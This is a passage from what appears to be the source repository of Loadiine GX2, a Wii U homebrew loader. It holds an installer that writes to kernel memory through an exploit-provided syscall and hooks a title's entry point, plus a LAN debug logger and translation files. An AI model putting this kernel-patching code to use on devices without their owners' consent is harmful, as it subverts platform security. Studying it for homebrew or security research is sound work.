if(section_offset > 0)\n    {\n        unsigned char *main_data = private_data->data_elf + section_offset;\n        /* Copy main data to memory */\n        SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len);\n    }\n\n    // get the .bss section\n    unsigned int main_bss_addr = 0;\n    unsigned int main_bss_len = 0;\n    section_offset = get_section(private_data, private_data->data_elf, \".bss\", &main_bss_len, &main_bss_addr, 0);\n    if(section_offset > 0)\n    {\n        unsigned char *main_bss = private_data->data_elf + section_offset;\n        /* Copy main data to memory */\n        SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len);\n    }\n}\n\n/* ****************************************************************** */\n/*                         INSTALL PATCHES                            */\n/* All OS specific stuff is done here                                 */\n/* ****************************************************************** */\nstatic void InstallPatches(private_data_t *private_data)\n{\n    OsSpecifics osSpecificFunctions;\n    private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics));\n\n    unsigned int bufferU32;\n    /* Pre-setup a few options to defined values */\n    bufferU32 = VER;\n    SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32));\n    bufferU32 = 0xDEADC0DE;\n    SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32));\n    SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32));\n    bufferU32 = 0;\n    SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32));\n\n    unsigned int jump_main_hook = 0;\n    osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;\n    osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;\n\n    osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;\n    osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;\n    osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;\n    osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;\n    osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;\n    //! pointer to main entry point of a title\n    osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;\n\n    SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics));\n\n    //! at this point we dont need to check header and stuff as it is sure to be OK\n    Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf;\n    unsigned int mainEntryPoint = ehdr->e_entry;\n\n    //! Install our entry point hook\n    unsigned int repl_addr = ADDRESS_main_entry_hook;\n    unsigned int jump_addr = mainEntryPoint & 0x03fffffc;\n    bufferU32 = 0x48000003 | jump_addr;\n    SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32));\n    // flush caches and invalidate instruction cache\n    private_data->ICInvalidateRange((void*)(repl_addr), 4);\n}\n"
  },
  {
    "path": "installer/logger.c",
    "content": "#include <stdarg.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include \"common/common.h\"\n#include \"dynamic_libs/socket_functions.h\"\n#include \"logger.h\"\n\nstatic int log_socket = 0;\n\n\nvoid log_init(void)\n{\n    if(log_socket > 0)\n        return;\n\n\tlog_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);\n\tif (log_socket < 0)\n\t\treturn;\n\n\tstruct sockaddr_in connect_addr;\n\tmemset(&connect_addr, 0, sizeof(connect_addr));\n\tconnect_addr.sin_family = AF_INET;\n\tconnect_addr.sin_port = 4405;\n\tinet_aton(\"192.168.0.44\", &connect_addr.sin_addr);\n\n\tif(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)\n\t{\n\t    socketclose(log_socket);\n\t    log_socket = -1;\n\t}\n}\n\nvoid log_print(const char *str)\n{\n    // socket is always 0 initially as it is in the BSS\n    if(log_socket <= 0) {\n        log_init();\n        return;\n    }\n\n    int len = strlen(str);\n    int ret;\n    while (len > 0) {\n        ret = send(log_socket, str, len, 0);\n        if(ret < 0)\n            return;\n\n        len -= ret;\n        str += ret;\n    }\n}\n\nvoid log_printf(const char *format, ...)\n{\n    if(log_socket <= 0) {\n        log_init();\n        return;\n    }\n\n\tchar * tmp = NULL;\n\n\tva_list va;\n\tva_start(va, format);\n\tif((vasprintf(&tmp, format, va) >= 0) && tmp)\n\t{\n        log_print(tmp);\n\t}\n\tva_end(va);\n\n\tif(tmp)\n\t\tfree(tmp);\n}\n"
  },
  {
    "path": "installer/logger.h",
    "content": "#ifndef __LOGGER_H_\n#define __LOGGER_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/* Communication bytes with the server */\n// Com\n#define BYTE_NORMAL                     0xff\n#define BYTE_SPECIAL                    0xfe\n#define BYTE_OK                         0xfd\n#define BYTE_PING                       0xfc\n#define BYTE_LOG_STR                    0xfb\n#define BYTE_DISCONNECT                 0xfa\n\n// SD\n#define BYTE_MOUNT_SD                   0xe0\n#define BYTE_MOUNT_SD_OK                0xe1\n#define BYTE_MOUNT_SD_BAD               0xe2\n\n// Replacement\n#define BYTE_STAT                       0x00\n#define BYTE_STAT_ASYNC                 0x01\n#define BYTE_OPEN_FILE                  0x02\n#define BYTE_OPEN_FILE_ASYNC            0x03\n#define BYTE_OPEN_DIR                   0x04\n#define BYTE_OPEN_DIR_ASYNC             0x05\n#define BYTE_CHANGE_DIR                 0x06\n#define BYTE_CHANGE_DIR_ASYNC           0x07\n#define BYTE_MAKE_DIR                   0x08\n#define BYTE_MAKE_DIR_ASYNC             0x09\n#define BYTE_RENAME                     0x0A\n#define BYTE_RENAME_ASYNC               0x0B\n#define BYTE_REMOVE                     0x0C\n#define BYTE_REMOVE_ASYNC               0x0D\n\n// Log\n#define BYTE_CLOSE_FILE                 0x40\n#define BYTE_CLOSE_FILE_ASYNC           0x41\n#define BYTE_CLOSE_DIR                  0x42\n#define BYTE_CLOSE_DIR_ASYNC            0x43\n#define BYTE_FLUSH_FILE                 0x44\n#define BYTE_GET_ERROR_CODE_FOR_VIEWER  0x45\n#define BYTE_GET_LAST_ERROR             0x46\n#define BYTE_GET_MOUNT_SOURCE           0x47\n#define BYTE_GET_MOUNT_SOURCE_NEXT      0x48\n#define BYTE_GET_POS_FILE               0x49\n#define BYTE_SET_POS_FILE               0x4A\n#define BYTE_GET_STAT_FILE              0x4B\n#define BYTE_EOF                        0x4C\n#define BYTE_READ_FILE                  0x4D\n#define BYTE_READ_FILE_ASYNC            0x4E\n#define BYTE_READ_FILE_WITH_POS         0x4F\n#define BYTE_READ_DIR                   0x50\n#define BYTE_READ_DIR_ASYNC             0x51\n#define BYTE_GET_CWD                    0x52\n#define BYTE_SET_STATE_CHG_NOTIF        0x53\n#define BYTE_TRUNCATE_FILE              0x54\n#define BYTE_WRITE_FILE                 0x55\n#define BYTE_WRITE_FILE_WITH_POS        0x56\n\n#define BYTE_SAVE_INIT                  0x57\n#define BYTE_SAVE_SHUTDOWN              0x58\n#define BYTE_SAVE_INIT_SAVE_DIR         0x59\n#define BYTE_SAVE_FLUSH_QUOTA           0x5A\n#define BYTE_SAVE_OPEN_DIR              0x5B\n#define BYTE_SAVE_REMOVE                0x5C\n\n#define BYTE_CREATE_THREAD              0x60\n\n\nint  logger_connect(int *socket);\nvoid logger_disconnect(int socket);\nvoid log_string(int sock, const char* str, char byte);\nvoid log_byte(int sock, char byte);\n\nvoid log_init(void);\nvoid log_print(const char *str);\nvoid log_printf(const char *format, ...);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "installer/socket.h",
    "content": "#define AF_INET\t\t2\n#define SOCK_STREAM\t1\n#define IPPROTO_TCP\t6\n\nstruct in_addr\n{\n  unsigned long s_addr;\n};\n\nstruct sockaddr\n{\n  unsigned short sin_family;\n  unsigned short sin_port;\n  struct in_addr sin_addr;\n  char sin_zero[8];\n};\n\n/* IP address of the RPC client (in this case, 192.168.1.9) */\n#define PC_IP\t( (192<<24) | (168<<16) | (1<<8) | (9<<0) )\n"
  },
  {
    "path": "installer/structs.h",
    "content": "#ifndef STRUCTS_H\n#define STRUCTS_H\n\ntypedef struct {\n    unsigned char *data;\n    int len;\n    int alloc_size;\n    void* (*memcpy)(void * dest, const void * src, int num);\n} file_struct_t;\n\ntypedef struct {\n    unsigned char *data_elf;\n    unsigned int coreinit_handle;\n    /* function pointers */\n    void* (*memcpy)(void * dest, const void * src, int num);\n    void* (*memset)(void * dest, unsigned int value, unsigned int bytes);\n    void* (*OSEffectiveToPhysical)(const void*);\n    void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);\n    void  (*MEMFreeToDefaultHeap)(void *ptr);\n    void  (*DCFlushRange)(const void *addr, unsigned int length);\n    void  (*ICInvalidateRange)(const void *addr, unsigned int length);\n    void  (*_Exit)(void);\n\n    void* (*curl_easy_init)(void);\n    void  (*curl_easy_setopt)(void *handle, unsigned int param, const void *op);\n    int   (*curl_easy_perform)(void *handle);\n    void  (*curl_easy_getinfo)(void *handle, unsigned int param, void *op);\n    void  (*curl_easy_cleanup)(void *handle);\n} private_data_t;\n\n\n#endif // STRUCTS_H\n"
  },
  {
    "path": "installer/types.h",
    "content": "#ifndef TYPES_H\n#define TYPES_H\n\ntypedef unsigned long long uint64_t;\ntypedef long long int64_t;\ntypedef unsigned int uint32_t;\ntypedef int int32_t;\ntypedef unsigned short uint16_t;\ntypedef short int16_t;\ntypedef unsigned char uint8_t;\ntypedef char int8_t;\n\ntypedef uint32_t size_t;\n\ntypedef _Bool bool;\n#define true 1\n#define false 0\n#define null 0\n\n#define NULL (void*)0\n\n#endif /* TYPES_H */\n"
  },
  {
    "path": "languages/chinese.lang",
    "content": "# Loadiine GX2 language source file.\n# chinese.lang - v0.34\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2009-10-01 01:00+0200\\n\"\n\"Last-Translator: kavid by 91wii.com \\n\"\n\"Language-Team: 91wii.com\\n\"\n\"Language: Simplified Chinese\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"Loadiine GX2\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"官方网站\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"代码编写：\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"界面设计：\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"有些人不想被提到名字。\"\n\n#: src/menu/CreditsMenu.cpp:115\nmsgid \"Testing:\"\nmsgstr \"测试者：\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight 等等更多人\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"参与人员：\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"基于：\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine v4.0作者Golden45和Dimok\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"强烈感谢：\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"lustar的GameTDB与提供的封面和光盘封面\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1开发的内核破解程序\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"还有libwiiu小组和其他人所做出贡献\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"扩展存档：\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"启用DLC支持：\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"更新文件夹\"\n\n#: src/menu/GameLauncherMenu.cpp:77\nmsgid \"Save Mode\"\nmsgstr \"存档模式\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"运行模式\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"<默认设置>\"\n\n#: src/menu/GameLauncherMenu.cpp:492\nmsgid \"Saving game settings!\"\nmsgstr \"保存游戏设置！\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"关闭\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"开启\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"旋转图标模式\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"网格视图\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"旋转封面模式\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"自定义背景\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"图形化\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"游戏查看选择\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"更改日志服务器的ip和端口\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"自定义游戏路径\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"自定义保存路径\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"加载器\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"设置存档模式\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"游戏\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"HID设置\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"运行模式选择\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"日志服务器控制\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Padcon settings\"\nmsgstr \"屏幕控制设置\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"PyGecko settings\"\nmsgstr \"金手指设置\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"感谢\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"感谢所有为此项目的贡献者\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"电视显示样式\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"平板显示样式\"\n\n#: src/menu/SettingsMenu.cpp:66\nmsgid \"Show Game Settings\"\nmsgstr \"显示游戏设置\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"主机IP\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"游戏路径\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"游戏存档路径\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"游戏存档模式\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"日志服务器控制\"\n\n#: src/menu/SettingsMenu.cpp:77\nmsgid \"PyGecko\"\nmsgstr \"金手指\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"平板屏幕控制\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"HID转PAD控制\"\n\n#: src/menu/SettingsMenu.cpp:80\n#, fuzzy\nmsgid \"HID-Pad Rumble\"\nmsgstr \"HID转PAD控制\"\n\n#: src/menu/SettingsMenu.cpp:81\n#, fuzzy\nmsgid \"HID-Pad Network\"\nmsgstr \"HID转PAD控制\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"绘心教室模式\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"共享模式\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"独享模式\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Mii Maker模式\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"超级大乱斗模式\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"卡拉OK模式\"\n\n#~ msgid \"Log Server IP\"\n#~ msgstr \"日志服务器IP\"\n"
  },
  {
    "path": "languages/chinese_tr.lang",
    "content": "# Loadiine GX2 language source file.\n# chinese_Tr.lang - v0.34\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2009-10-01 01:00+0200\\n\"\n\"Last-Translator: kavid by 91wii.com \\n\"\n\"Language-Team: 91wii.com\\n\"\n\"Language: Traditional Chinese\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"Loadiine GX2\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"官方網站\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"代碼編寫：\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"界面設計：\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"有些人不想被提到名字。\"\n\n#: src/menu/CreditsMenu.cpp:115\nmsgid \"Testing:\"\nmsgstr \"測試者：\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight 等等更多人\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"參與人員：\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"基於：\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine v4.0作者Golden45和Dimok\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"強烈感謝：\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"lustar的GameTDB與提供的封面和光盤封面\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1開發的內核破解程序\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"還有libwiiu小組和其他人所做出貢獻\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"存檔增強：\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"啟用DLC支持：\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"更新文件夾\"\n\n#: src/menu/GameLauncherMenu.cpp:77\nmsgid \"Save Mode\"\nmsgstr \"存檔模式\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"運行模式\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"<缺省設置>\"\n\n#: src/menu/GameLauncherMenu.cpp:492\nmsgid \"Saving game settings!\"\nmsgstr \"保存遊戲何止！\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"關閉\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"開啟\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"旋轉圖標模式\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"網格視圖\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"旋轉封面模式\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"自定義背景\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"圖形化\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"遊戲查看選擇\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"更改日誌服務器的ip和端口\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"自定義遊戲路徑\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"自定義保存路徑\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"加載器\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"設置存檔模式\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"遊戲\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"HID設置\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"運行模式選擇\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"日誌服務器控制\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Padcon settings\"\nmsgstr \"平板顯示控制設置\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"PyGecko settings\"\nmsgstr \"金手指設置\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"感謝\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"感謝所有為此項目的貢獻者\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"電視顯示樣式\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"平板顯示樣式\"\n\n#: src/menu/SettingsMenu.cpp:66\nmsgid \"Show Game Settings\"\nmsgstr \"顯示遊戲設置\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"主機IP\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"遊戲路徑\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"遊戲存檔路徑\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"遊戲存檔模式\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"日誌服務器控制\"\n\n#: src/menu/SettingsMenu.cpp:77\nmsgid \"PyGecko\"\nmsgstr \"金手指\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"平板屏幕控制\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"HID轉PAD控制\"\n\n#: src/menu/SettingsMenu.cpp:80\n#, fuzzy\nmsgid \"HID-Pad Rumble\"\nmsgstr \"HID轉PAD控制\"\n\n#: src/menu/SettingsMenu.cpp:81\n#, fuzzy\nmsgid \"HID-Pad Network\"\nmsgstr \"HID轉PAD控制\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"繪心教室模式\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"共享模式\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"獨享模式\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Mii Maker模式\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"超級大亂鬥模式\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"卡拉OK模式\"\n\n#~ msgid \"Log Server IP\"\n#~ msgstr \"日誌服務器IP\"\n"
  },
  {
    "path": "languages/english.lang",
    "content": "# Loadiine GX2 language source file.\n# english.lang - vx.x\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2009-10-01 01:00+0200\\n\"\n\"Last-Translator: \\n\"\n\"Language-Team: \\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Language: \\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:115\nmsgid \"Testing:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:77\nmsgid \"Save Mode\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\nmsgid \"<Settings Default>\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:492\nmsgid \"Saving game settings!\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr 